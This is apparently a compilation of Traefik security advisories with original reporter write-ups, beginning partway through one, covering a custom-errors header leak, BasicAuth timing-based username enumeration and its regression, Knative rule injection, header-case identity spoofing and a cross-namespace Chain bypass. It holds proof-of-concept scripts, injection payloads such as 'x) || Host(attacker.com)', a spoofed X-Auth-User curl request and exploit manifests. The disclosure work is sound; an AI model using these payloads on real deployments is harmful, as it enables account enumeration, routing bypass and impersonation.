4. Send a request containing sensitive credentials through the business route. The manual reproduction used the following request, and the automated PoC sends the same header values:

bash curl -i \ -H 'Authorization: Bearer audit-secret-token' \ -H 'Cookie: sessionid=audit-cookie; theme=dark' \ http://127.0.0.1:28080/audit-customerrors

5. Observe that the backend returns 500, Traefik internally requests /collect from the error service, and the error service receives the original Authorization and Cookie headers. The attached manualcurlcustomerrors.txt response shows the leaked headers directly, and the attached poccustomerrorsheaderleak.output.txt execution log shows the same result from the automated PoC.

Recommendations The default behavior should forward only the minimal context needed to render an error page instead of copying the full original header set with utils.CopyHeaders(pageReq.Header, req.Header). At minimum, Traefik should strip Authorization, Proxy-Authorization, Cookie, Set-Cookie, and common custom authentication headers such as X-Api-Key before issuing the error page request. If operators truly need additional headers, that behavior should be opt-in through an explicit allowlist rather than the default. The documentation should also describe the current behavior and warn that routing an error page to a separate service can otherwise disclose end-user credentials across service boundaries.

PoC The main PoC attachment is poccustomerrorsheaderleak.py.

python import json import os import subprocess import sys import time import urllib.error import urllib.request from pathlib import Path

TARGET = "traefik customErrors sensitive header leak" BASEURL = "http://127.0.0.1:28080" APIBASEURL = "http://127.0.0.1:28180" TRAEFIKCONTAINER = "traefik-openclaw" NETWORK = "" DOCKERIMAGE = "python:3.12-alpine" BACKENDCONTAINER = "traefik-audit-backend" ERRORCONTAINER = "traefik-audit-error" ROUTERNAME = "audit-customerrors" ROUTERPATH = "/audit-customerrors" AUTHORIZATION = "Bearer audit-secret-token" COOKIE = "sessionid=audit-cookie; theme=dark" TIMEOUTSECONDS = 10 ROUTERWAITSECONDS = 20

EVIDENCEDIR = Path(file).resolve().parent BACKENDSCRIPT = EVIDENCEDIR / "customerrorsbackend.py" ERRORSCRIPT = EVIDENCEDIR / "customerrorserror.py"

def runcommand(command): print(f"$ {' '.join(command)}") completed = subprocess.run(command, captureoutput=True, text=True, check=True) stdout = completed.stdout.strip() stderr = completed.stderr.strip() if stdout: print(stdout) if stderr: print(stderr) return stdout

def removecontainer(name): subprocess.run(["docker", "rm", "-f", name], captureoutput=True, text=True)

def detectnetwork(): if NETWORK: return NETWORK

output = runcommand( ["docker", "inspect", TRAEFIKCONTAINER, "--format", "{{json .NetworkSettings.Networks}}"] ) networks = json.loads(output) networknames = sorted(networks.keys()) if not networknames: raise RuntimeError("No docker network found for Traefik container") return networknames[0]

def ensureimage(): runcommand(["docker", "pull", DOCKERIMAGE])

def starterrorcontainer(networkname): runcommand( [ "docker", "run", "-d", "--name", ERRORCONTAINER, "--network", networkname, "-v", f"{ERRORSCRIPT}:/srv/error.py:ro", "-l", "traefik.enable=true", "-l", f"traefik.docker.network={networkname}", "-l", "traefik.http.services.audit-error.loadbalancer.server.port=8000", DOCKERIMAGE, "python", "/srv/error.py", ] )

def startbackendcontainer(networkname): runcommand( [ "docker", "run", "-d", "--name", BACKENDCONTAINER, "--network", networkname, "-v", f"{BACKENDSCRIPT}:/srv/backend.py:ro", "-l", "traefik.enable=true", "-l", f"traefik.docker.network={networkname}", "-l", f"traefik.http.routers.{ROUTERNAME}.rule=PathPrefix({ROUTERPATH})", "-l", f"traefik.http.routers.{ROUTERNAME}.entrypoints=web", "-l", f"traefik.http.routers.{ROUTERNAME}.priority=100", "-l", f"traefik.http.routers.{ROUTERNAME}.service=audit-backend", "-l", f"traefik.http.routers.{ROUTERNAME}.middlewares=audit-leak", "-l", "traefik.http.services.audit-backend.loadbalancer.server.port=8000", "-l", "traefik.http.middlewares.audit-leak.errors.status=500-599", "-l", "traefik.http.middlewares.audit-leak.errors.service=audit-error", "-l", "traefik.http.middlewares.audit-leak.errors.query=/collect", DOCKERIMAGE, "python", "/srv/backend.py", ] )

def fetchjson(url, headers=None): request = urllib.request.Request(url, headers=headers or {}, method="GET") try: response = urllib.request.urlopen(request, timeout=TIMEOUTSECONDS) except urllib.error.HTTPError as exc: response = exc

with response: return json.loads(response.read().decode())

def waitforrouter(): deadline = time.time() + ROUTERWAITSECONDS while time.time() < deadline: try: data = fetchjson(f"{APIBASEURL}/api/rawdata") if f"{ROUTERNAME}@docker" in data.get("routers", {}): return data except Exception: pass time.sleep(1) raise RuntimeError("Timed out waiting for router")

def triggerrequest(): headers = { "Authorization": AUTHORIZATION, "Cookie": COOKIE, } return fetchjson(f"{BASEURL}{ROUTERPATH}", headers=headers)

def validate(responsejson): leakedheaders = responsejson.get("headers", {}) leakedauth = leakedheaders.get("Authorization") leakedcookie = leakedheaders.get("Cookie")

print("Response JSON:") print(json.dumps(responsejson, indent=2, sortkeys=True))

if leakedauth != AUTHORIZATION: raise RuntimeError(f"Authorization not leaked as expected, got: {leakedauth!r}") if leakedcookie != COOKIE: raise RuntimeError(f"Cookie not leaked as expected, got: {leakedcookie!r}")

print("Validation result: error page service received the original Authorization and Cookie.")

def main(): print(f"TARGET={TARGET}") networkname = detectnetwork() print(f"Using docker network: {networkname}")

removecontainer(BACKENDCONTAINER) removecontainer(ERRORCONTAINER)

try: ensureimage() starterrorcontainer(networkname) startbackendcontainer(networkname) waitforrouter() responsejson = triggerrequest() validate(responsejson) finally: removecontainer(BACKENDCONTAINER) removecontainer(ERRORCONTAINER) print("Cleaned up temporary containers.")

if name == "main": try: main() except subprocess.CalledProcessError as exc: if exc.stdout: print(exc.stdout) if exc.stderr: print(exc.stderr, file=sys.stderr) raise

Supporting backend helper used by the PoC, from customerrorsbackend.py:

python from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler): def doGET(self): self.sendresponse(500) self.sendheader("Content-Type", "text/plain; charset=utf-8") self.endheaders() self.wfile.write(b"backend forced 500\n")

def logmessage(self, format, args): return

def main(): HTTPServer(("0.0.0.0", 8000), Handler).serveforever()

if name == "main": main()

Supporting error service helper used by the PoC, from customerrorserror.py:

python import json from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler): def doGET(self): body = json.dumps( { "method": self.command, "path": self.path, "headers": {key: value for key, value in self.headers.items()}, }, indent=2, sortkeys=True, ).encode() self.sendresponse(200) self.sendheader("Content-Type", "application/json; charset=utf-8") self.sendheader("Content-Length", str(len(body))) self.endheaders() self.wfile.write(body)

def logmessage(self, format, args): return

def main(): HTTPServer(("0.0.0.0", 8000), Handler).serveforever()

if name == "main": main()

Evidence Files customerrorsmiddleware.json proves that the active middleware is the supported errors middleware and that it was configured with status 500-599, service audit-error, and query /collect.

json { "errors": { "status": [ "500-599" ], "service": "audit-error", "query": "/collect" }, "status": "enabled", "usedBy": [ "audit-customerrors@docker" ], "name": "audit-leak@docker", "provider": "docker", "type": "errors" }

customerrorsrouter.json proves that the business router audit-customerrors@docker was enabled on the web entrypoint, routed to audit-backend, and used middleware audit-leak@docker.

json { "entryPoints": [ "web" ], "middlewares": [ "audit-leak@docker" ], "service": "audit-backend", "rule": "PathPrefix(/audit-customerrors)", "priority": 100, "observability": { "accessLogs": true, "metrics": true, "tracing": true, "traceVerbosity": "minimal" }, "status": "enabled", "using": [ "web" ], "name": "audit-customerrors@docker", "provider": "docker", "priorityStr": "100" }

manualcurlcustomerrors.txt proves that a direct request through Traefik caused the separate error service to receive the original Authorization and Cookie values.

text HTTP/1.1 500 Internal Server Error Content-Length: 461 Content-Type: application/json; charset=utf-8 Date: Mon, 13 Apr 2026 13:09:58 GMT Server: BaseHTTP/0.6 Python/3.12.13

{ "headers": { "Accept": "/", "Accept-Encoding": "gzip", "Authorization": "Bearer audit-secret-token", "Cookie": "sessionid=audit-cookie; theme=dark", "Host": "127.0.0.1:28080", "User-Agent": "curl/8.7.1", "X-Forwarded-Host": "127.0.0.1:28080", "X-Forwarded-Port": "28080", "X-Forwarded-Proto": "http", "X-Forwarded-Server": "c231be677a1b", "X-Real-Ip": "172.19.0.1" }, "method": "GET", "path": "/collect" }

poccustomerrorsheaderleak.output.txt is the automated execution log for the Python PoC. The source material provided the following excerpt from that output, which shows the same credential disclosure and the PoC's validation result.

text Response JSON: { "headers": { "Accept-Encoding": "identity", "Authorization": "Bearer audit-secret-token", "Cookie": "sessionid=audit-cookie; theme=dark", "Host": "127.0.0.1:28080", "User-Agent": "Python-urllib/3.14", "X-Forwarded-Host": "127.0.0.1:28080", "X-Forwarded-Port": "28080", "X-Forwarded-Proto": "http", "X-Forwarded-Server": "c231be677a1b", "X-Real-Ip": "172.19.0.1" }, "method": "GET", "path": "/collect" } Validation result: error page service received the original Authorization and Cookie.

Impact Any deployment that uses the supported errors middleware with a separate error page service can silently copy end-user credentials to that second service whenever the configured error status range is triggered. In practice, this means bearer tokens, session cookies, and other custom authentication headers can be disclosed to infrastructure that was never meant to receive them. If the error service is maintained by a different team, shared across tenants, hosted by a third party, or simply logged more broadly than the primary application service, this expands the exposure of valid credentials and can enable unauthorized API access or account compromise depending on what the leaked tokens authorize.

</details>

Summary

There is a potential vulnerability in Traefik's BasicAuth middleware that allows username enumeration via a timing attack.

When a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.41 - https://github.com/traefik/traefik/releases/tag/v3.6.11 - https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary A timing attack vulnerability exists in Traefik's BasicAuth middleware that allows unauthenticated attackers to enumerate valid usernames. When a username exists, bcrypt password verification takes ~166ms; when it doesn't exist, the response returns immediately in ~0.6ms. This ~298x timing difference enables reliable username enumeration.

Details The vulnerability exists in the BasicAuth middleware implementation. When validating credentials: - User exists: The system performs bcrypt password comparison, which intentionally takes ~100-200ms due to bcrypt's design - User doesn't exist: The system immediately returns authentication failure in ~0.6ms

This timing difference is observable over the network and allows attackers to distinguish between valid and invalid usernames.

Root Cause: The code returns early when the user is not found, without performing a dummy bcrypt comparison to maintain constant-time execution.

Expected behavior: The system should perform a bcrypt comparison regardless of whether the user exists, to maintain consistent response times.

PoC Environment: - Traefik v3.6.9 - k3s v1.34.5

Configuration: yaml apiVersion: traefik.io/v1alpha1 kind: Middleware metadata: name: basicauth namespace: traefik-poc spec: basicAuth: secret: basic-auth-secret --- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: test-basicauth annotations: traefik.ingress.kubernetes.io/router.middlewares: traefik-poc-basicauth@kubernetescrd spec: ingressClassName: traefik rules: - http: paths: - path: /protected pathType: Prefix backend: service: name: whoami port: number: 80

PoC Script: python #!/usr/bin/env python3 import requests import time import statistics import sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:30080/protected" TESTUSERS = ["admin", "root", "test", "nonexistent12345"] SAMPLES = 20 def measuretime(username, password="wrongpassword"): times = [] for in range(SAMPLES): start = time.perfcounter() requests.get(TARGET, auth=(username, password), timeout=5) elapsed = time.perfcounter() - start times.append(elapsed) return statistics.median(times) print(f"Target: {TARGET}") print(f"Samples per user: {SAMPLES}\n") for user in TESTUSERS: median = measuretime(user) if median > 0.05: # bcrypt threshold status = "[+] EXISTS (slow - bcrypt verification)" else: status = "[-] NOT FOUND (fast - immediate return)" print(f"{status}: {user:20s} | median={median:.4f}s")

Execution Results: Target: http://10.10.10.7:30080/protected Samples per user: 20

[+] EXISTS (slow - bcrypt verification): admin | median=0.1665s [-] NOT FOUND (fast - immediate return): root | median=0.0006s [-] NOT FOUND (fast - immediate return): test | median=0.0006s [-] NOT FOUND (fast - immediate return): nonexistent | median=0.0006s

Timing difference ratio: 298.0x

Impact - Vulnerability Type: Information Disclosure via Timing Attack (CWE-208) - Impact: - Attackers can enumerate valid usernames without authentication - Enables targeted password brute-force attacks against confirmed accounts - Exposes information about system user structure - Who is impacted: All users of Traefik's BasicAuth middleware are affected. The vulnerability requires: - BasicAuth middleware enabled - Attacker able to make requests to protected endpoints - Network access to measure response times - Attack Complexity: Low - only requires sending HTTP requests and measuring response times - Privileges Required: None - User Interaction: None

</details>

---

Summary

There is a potential vulnerability in Traefik's Kubernetes Knative, Ingress, and Ingress-NGINX providers related to rule injection.

User-controlled values are interpolated into backtick-delimited Traefik router rule expressions without escaping or validation. A malicious value containing a backtick can terminate the literal and inject additional operators into Traefik's rule language, altering the parsed rule tree. In shared or multi-tenant deployments, this can bypass host and header routing constraints and redirect unauthorized traffic to victim services.

Patches

- https://github.com/traefik/traefik/releases/tag/v3.6.11 - https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary Traefik's Knative provider builds router rules by interpolating user-controlled values into backtick-delimited rule expressions without escaping. In live cluster validation, Knative rules[].hosts[] was exploitable for host restriction bypass (for example tenant.example.com) || Host(attacker.com), producing a router that serves attacker-controlled hosts. Knative headers[].exact also allows rule-syntax injection and proves unsafe rule construction. In multi-tenant clusters, this can route unauthorized traffic to victim services and lead to cross-tenant traffic exposure. Severity is High in shared deployments.

Tested on Traefik v3.6.10; the vulnerable pattern appears to have been present since the Knative provider was introduced. Earlier versions with Knative provider support are expected to be affected.

Details The issue is caused by unsafe rule-string construction using fmt.Sprintf with backtick-delimited literals.

Incriminated code patterns:

- pkg/provider/kubernetes/knative/kubernetes.go - fmt.Sprintf("Host(%v)", host) - fmt.Sprintf("Header(%s,%s)", key, headers[key].Exact) - fmt.Sprintf("PathPrefix(%s)", path)

- pkg/provider/kubernetes/ingress/kubernetes.go - fmt.Sprintf("Host(%s)", host) - fmt.Sprintf("(Path(%[1]s) || PathPrefix(%[1]s/))", path)

- pkg/provider/kubernetes/ingress-nginx/kubernetes.go (hardening candidate; not the primary confirmed vector in this report) - fmt.Sprintf("Header(%s, %s)", c.Header, c.HeaderValue) - related host/path/header concatenations with backticks

Because inputs are inserted directly into rule expressions, a malicious value containing a backtick can terminate the literal and inject additional operators/tokens in Traefik's rule language. Example payload:

- x) || Host(attacker.com

When used as a header value in Knative rule construction, the resulting rule contains:

- Header(X-Poc,x) || Host(attacker.com)

This alters rule semantics and enables injection into Traefik's rule language. Depending on the field used (hosts[] vs headers[].exact) this can become a direct routing bypass.

Important scope note:

- Gateway API code path (pkg/provider/kubernetes/gateway/httproute.go) already uses safer %q formatting for header/query rules and is not affected by this exact pattern. - For standard Kubernetes Ingress, spec.rules.host is validated as DNS-1123 by the API server, which rejects backticks (so this specific host-injection payload is typically blocked). - For Knative Ingress, rules[].hosts[] and headers[].exact are typed as string in CRD schema with no pattern constraint. - In this validation environment, rules[].hosts[] was accepted and produced a practical host bypass. headers[].exact was also accepted and produced rule-syntax injection in generated routers. - Ingress-NGINX patterns are included as follow-up hardening targets and are not claimed as independently exploitable here. - Exploitability depends on admission/validation policy and who can create these resources.

PoC

1. Local deterministic PoC (no cluster required):

- Run: - Save the inline PoC below as pocbuildrule.go - Run go run pocbuildrule.go - Observe output: - Legitimate rule: (Host(tenant.example.com)) && (Header(X-API-Key,secret123)) && PathPrefix(/) - Malicious rule: (Host(tenant.example.com)) && (Header(X-API-Key,x) || Host(attacker.com)) && PathPrefix(/) - This proves syntax injection in current string-construction logic.

Inline PoC code (self-contained):

go package main

import ( "fmt" "sort" "strings" )

func buildRuleKnative(hosts []string, headers map[string]struct{ Exact string }, path string) string { var operands []string

if len(hosts) > 0 { var hostRules []string for , host := range hosts { hostRules = append(hostRules, fmt.Sprintf("Host(%v)", host)) } operands = append(operands, fmt.Sprintf("(%s)", strings.Join(hostRules, " || "))) }

if len(headers) > 0 { headerKeys := make([]string, 0, len(headers)) for k := range headers { headerKeys = append(headerKeys, k) } sort.Strings(headerKeys)

var headerRules []string for , key := range headerKeys { headerRules = append(headerRules, fmt.Sprintf("Header(%s,%s)", key, headers[key].Exact)) } operands = append(operands, fmt.Sprintf("(%s)", strings.Join(headerRules, " && "))) }

if len(path) > 0 { operands = append(operands, fmt.Sprintf("PathPrefix(%s)", path)) }

return strings.Join(operands, " && ") }

func main() { legitHeaders := map[string]struct{ Exact string }{ "X-API-Key": {Exact: "secret123"}, } fmt.Println(buildRuleKnative([]string{"tenant.example.com"}, legitHeaders, "/"))

maliciousHeaders := map[string]struct{ Exact string }{ "X-API-Key": {Exact: "x) || Host(attacker.com"}, } fmt.Println(buildRuleKnative([]string{"tenant.example.com"}, maliciousHeaders, "/"))

// Safe variant example (Gateway-style): fmt.Println(fmt.Sprintf("Header(%q,%q)", "X-API-Key", "x) || Host(attacker.com")) }

2. Cluster PoC (Knative host injection, primary / practical bypass):

- Preconditions: - Kubernetes test cluster with Knative Serving. - Traefik configured with Knative provider. - Apply manifest: - kubectl apply -f - <<'YAML' yaml apiVersion: networking.internal.knative.dev/v1alpha1 kind: Ingress metadata: name: poc-host-injection namespace: default annotations: # This exact key worked in live validation: networking.knative.dev/ingress.class: "traefik.ingress.networking.knative.dev" spec: rules: - hosts: - 'tenant.example.com) || Host(attacker.com' visibility: External http: paths: - path: "/" splits: - percent: 100 serviceName: dummy serviceNamespace: default servicePort: 80 YAML - (If API version mismatch, adjust between networking.internal.knative.dev/v1alpha1 and networking.knative.dev/v1alpha1.) - Verify: - Check Traefik router rule contains: (Host(tenant.example.com) || Host(attacker.com)) && PathPrefix(/). - Request with Host: attacker.com returns backend 200. - This demonstrates host restriction bypass in practice.

3. Cluster PoC (Knative header injection, confirms rule-syntax injection):

- Apply: - kubectl apply -f - <<'YAML' yaml apiVersion: networking.internal.knative.dev/v1alpha1 kind: Ingress metadata: name: poc-rule-injection namespace: default annotations: networking.knative.dev/ingress.class: "traefik.ingress.networking.knative.dev" spec: rules: - hosts: - "tenant.example.com" visibility: External http: paths: - path: "/" headers: X-Poc: exact: 'x) || Host(attacker.com' splits: - percent: 100 serviceName: dummy serviceNamespace: default servicePort: 80 YAML - Verify: - Inspect generated Traefik dynamic router rule (API/dashboard/logs). - Confirm injected fragment || Host(attacker.com) is present. - Send request with Host: attacker.com and no expected tenant header (expected: 404 for this payload shape, because leading Host(tenant) still applies). - Send request with Host: tenant.example.com and X-Poc: x (expected: 200 from backend).

4. Optional Ingress PoC (scope check):

- Apply: - kubectl apply -f - <<'YAML' yaml apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: poc-ingress-host-injection namespace: default annotations: kubernetes.io/ingress.class: traefik spec: rules: - host: 'tenant.example.com) || Host(attacker.com' http: paths: - path: / pathType: Prefix backend: service: name: dummy port: number: 80 YAML - Expected in most clusters: API server rejects this payload because Ingress host must satisfy DNS-1123. - Keep this step only as a negative control to demonstrate the distinction between native Ingress validation and Knative CRD behavior.

Validation executed in this report:

- Local deterministic PoC executed with go run and output matched expected injected rule. - Live cluster test executed on local kind cluster (kind-traefik-poc) with Traefik v3.6.10 and Knative Serving CRDs. - Annotation key confirmed in this environment: networking.knative.dev/ingress.class (dot). The hyphen variant was not used by the successful processing path. - Traefik API/logs confirmed generated routers included injected expressions. - Live HTTP request with Host: attacker.com reached backend (200) for Knative host-injection payload.

Impact - Vulnerability type: Rule injection / authorization bypass at routing layer. - Primary impact: Bypass of intended routing predicates (host/header/path), enabling unauthorized routing to protected services. - Who is impacted: Primarily deployments using Traefik Knative provider where untrusted or semi-trusted actors can create/update Knative Ingress resources (typical in multi-tenant clusters, shared namespaces, or weak admission controls). Standard Kubernetes Ingress host injection is usually blocked by API validation. - Security consequences: Cross-tenant traffic access, internal service exposure, policy bypass, and potential chaining with app-level vulnerabilities.

</details>

Summary

There is a timing side-channel vulnerability in Traefik's BasicAuth middleware that allows an attacker to enumerate valid usernames through response-time differences.

The variable intended to hold a constant-time fallback secret always resolves to an empty string, causing the constant-time comparison to short-circuit in microseconds rather than performing a full bcrypt evaluation. This restores the original timing oracle and makes it possible to distinguish existing users from non-existing ones by measuring authentication response times.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.43 - https://github.com/traefik/traefik/releases/tag/v3.6.14 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

BasicAuth Timing Regression: CVE-2026-32595 Fix Is a No-Op Due to Map Key/Value Confusion

TL;DR

The patch for CVE-2026-32595 is a no-op. Line 49 of basicauth.go has a map key/value confusion that makes notFoundSecret always "". The "constant time" fallback calls goauth.CheckSecret(password, ""), which fast-fails in ~1us instead of running bcrypt (~60ms).

Evidence (HEAD 786f7192e, 2026-04-09)

Black-box PoC against live traefik binary on port 28080:

| bucket | n | median | min | |------------------------------|-----|----------|----------| | existing user (wrong pw) | 240 | 62.85 ms | 57.54 ms | | nonexistent user (wrong pw) | 400 | 0.48 ms | 0.35 ms |

Median ratio: 130.4x. Classification: 8/8 correct.

Go in-tree test: goauth.CheckSecret direct ratio 12,746x.

Root cause (4-step trace)

1. basicauth.go:49: users[slices.Collect(maps.Values(users))[0]] -- looks up a hash as a username key, returns "". 2. basicauth.go:119-120: calls goauth.CheckSecret(password, ""). 3. go-http-auth/basic.go:87: empty string matches no prefix, falls to default compareMD5HashAndPassword. 4. basic.go:107-109: bytes.SplitN("", "$", 4) returns length 1, function returns instantly.

Files

- poc/exploit.py -- black-box Python timing oracle - poc/basicauthtimingregressiontest.go -- Go in-tree test - poc/traefik.yml + poc/dynamic.yml -- traefik config - poc/livehttppocoutputhead.txt -- verbatim PoC output on HEAD

Koda Reef

</details>

---

Summary

There is a potential vulnerability in Traefik's Basic and Digest authentication middlewares when headerField is configured with a non-canonical HTTP header name.

An authenticated attacker with valid credentials can inject the canonical version of the configured header to impersonate any identity to the backend. Because Traefik writes the authenticated username using a non-canonical map key, it creates a separate header entry rather than overwriting the attacker's canonical one — causing most backend frameworks to read the attacker-controlled value instead.

Patches

- <https://github.com/traefik/traefik/releases/tag/v2.11.42> - <https://github.com/traefik/traefik/releases/tag/v3.6.12> - <https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.3>

For more information

If there are any questions or comments about this advisory, please open an issue.

---

<details> <summary>Original Description</summary>

Summary

When headerField is configured with a non-canonical HTTP header name (e.g., x-auth-user instead of X-Auth-User), an authenticated attacker can inject a canonical version of that header to impersonate any identity to the backend. The backend receives two header entries — the attacker-injected canonical one is read first, overriding Traefik's non-canonical write.

Tested on Traefik v3.6.10.

Details

At pkg/middlewares/auth/basicauth.go:92, the authenticated username is written using direct map assignment:

go req.Header[b.headerField] = []string{user}

Go's http.Header map is keyed by canonical names (e.g., X-Auth-User). Direct assignment with a non-canonical key (x-auth-user) creates a separate map entry from any canonical-key entry already present. The attacker's X-Auth-User: superadmin occupies the canonical slot and is never overwritten by Traefik's non-canonical write.

The same bug exists in pkg/middlewares/auth/digestauth.go:100. Notably, forward.go:254 correctly uses http.CanonicalHeaderKey(), showing the fix pattern already exists in the codebase.

PoC

Traefik config (YAML, Docker labels, or REST API):

yaml middlewares: auth: basicAuth: users: ["admin:$2y$05$..."] headerField: "x-auth-user"

Normal request (baseline):

bash curl -u admin:admin http://traefik/secure/test Backend receives: x-auth-user: admin Identity = admin ✓

Attack request:

bash curl -u admin:admin -H "X-Auth-User: superadmin" http://traefik/secure/test Backend receives BOTH headers: X-Auth-User: superadmin ← attacker-injected (canonical key, read first by most frameworks) x-auth-user: admin ← Traefik-set (non-canonical, ignored by most frameworks) Identity seen by backend = superadmin ✗

Control test — when headerField uses canonical casing (X-Auth-User), the attack fails. Traefik's write correctly overwrites the attacker's header.

This is realistic because YAML conventions favor lowercase keys, Traefik docs don't warn about canonicalization, and the pattern of backends trusting the headerField header is recommended in Traefik's own documentation.

Fix suggestion:

go // basicauth.go:92 and digestauth.go:100 — change: req.Header[b.headerField] = []string{user} // to: req.Header.Set(b.headerField, user)

Also strip any incoming headerField header before the auth check with req.Header.Del(b.headerField).

Impact

An authenticated attacker with valid credentials (even low-privilege) can impersonate any other user identity to backend services. If backends use the headerField header for authorization decisions (which is the intended use case per Traefik docs), this enables privilege escalation — e.g., a regular user impersonating an admin.

The attack requires the operator to configure headerField with a non-canonical header name, which is the natural thing to do in YAML and is not warned against in documentation.

</details>

Summary

There is a vulnerability in Traefik's Kubernetes CRD provider cross-namespace isolation enforcement.

When providers.kubernetesCRD.allowCrossNamespace=false, Traefik correctly rejects direct cross-namespace middleware references from IngressRoute objects, but fails to apply the same restriction to middleware references nested inside a Chain middleware's spec.chain.middlewares[]. An actor with permission to create or update Traefik CRDs in their own namespace can exploit this to cause Traefik to resolve and apply middleware objects from another namespace, bypassing the documented isolation boundary.

Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.43 - https://github.com/traefik/traefik/releases/tag/v3.6.14 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2

For more information

If there are any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary When providers.kubernetesCRD.allowCrossNamespace=false, Traefik still allows a namespace-local Middleware of type Chain to reference middleware objects from another namespace via spec.chain.middlewares[].namespace.

This bypasses the documented cross-namespace restriction and allows an actor with permission to create or update Traefik CRDs in namespace A to bind middleware defined in namespace B to routes in namespace A.

Details Traefik documents allowCrossNamespace as the control that governs whether IngressRoute objects may reference resources in other namespaces.

Direct middleware references from IngressRoute.routes[].middlewares[] are validated in pkg/provider/kubernetes/crd/kuberneteshttp.go by makeMiddlewareKeys(...), which rejects cross-namespace references when allowCrossNamespace is disabled.

However, nested middleware references inside Middleware.spec.chain.middlewares[] follow a different code path. createChainMiddleware(...) in pkg/provider/kubernetes/crd/kubernetes.go does not receive or enforce allowCrossNamespace; it resolves mi.Namespace (or defaults to the current namespace) and appends makeID(ns, mi.Name) unconditionally.

At runtime, pkg/server/middleware/middlewares.go qualifies and builds config.Chain.Middlewares, so the cross-namespace middleware is actually loaded and used.

This was verified on the current master at commit 786f7192e11878dfaa634f8263bf79bb730a71cb.

This appears related to earlier cross-namespace hardening work, but the surviving issue is a distinct nested Chain middleware code path rather than the already-guarded direct reference path.

Expected behavior When providers.kubernetesCRD.allowCrossNamespace=false, any middleware reference that resolves to an object in another namespace should be rejected, whether referenced directly from an IngressRoute or indirectly through a local Chain middleware.

Actual behavior A namespace-local Chain middleware can reference spec.chain.middlewares[].namespace in another namespace, and Traefik resolves and applies that middleware even when cross-namespace references are disabled.

Attacker prerequisites The attacker must have permission to create or update Traefik CRDs in a namespace they control, but does not need permission to modify resources in the target namespace.

PoC 1. Run Traefik with the Kubernetes CRD provider and set allowCrossNamespace: false.

2. Create two namespaces, for example default and cross-ns.

3. Apply a middleware in cross-ns:

yaml apiVersion: traefik.io/v1alpha1 kind: Middleware metadata: name: victim-strip namespace: cross-ns spec: stripPrefix: prefixes: - /secret

4. Apply a chain middleware in default that references the middleware above:

yaml apiVersion: traefik.io/v1alpha1 kind: Middleware metadata: name: mychain namespace: default spec: chain: middlewares: - name: victim-strip namespace: cross-ns

5. Apply an IngressRoute in default that references only the local mychain middleware:

yaml apiVersion: traefik.io/v1alpha1 kind: IngressRoute metadata: name: demo namespace: default spec: entryPoints: - web routes: - match: Host(example.test) && PathPrefix(/demo) kind: Rule middlewares: - name: mychain services: - name: whoami port: 80

6. Observe that Traefik accepts the configuration and resolves the resulting chain to the middleware from cross-ns even though allowCrossNamespace is disabled.

7. As a control, replace the local chain reference in the IngressRoute with a direct cross-namespace middleware reference. That direct reference is rejected when allowCrossNamespace=false, which indicates the bypass is specific to nested Chain middleware resolution.

Impact

This is an authorization / trust-boundary bypass in Traefik's Kubernetes CRD provider.

Clusters that rely on providers.kubernetesCRD.allowCrossNamespace=false for namespace isolation are affected. An actor who is allowed to create or update Traefik CRDs in their own namespace can still cause Traefik to apply middleware from another namespace by referencing it indirectly through a local Chain middleware.

The practical impact depends on which middleware objects exist in the other namespace, but this can allow unauthorized reuse of security-sensitive or policy-bearing middleware across namespace boundaries. Examples include request modification, header manipulation, authentication or forward-auth related behavior, and other traffic-handling policies that were intended to remain namespace-scoped.

Testers have not verified unauthenticated remote compromise, code execution, or universal cross-tenant data exposure. The core issue is that a documented isolation control can be bypassed through the nested Chain middleware reference path.

</details>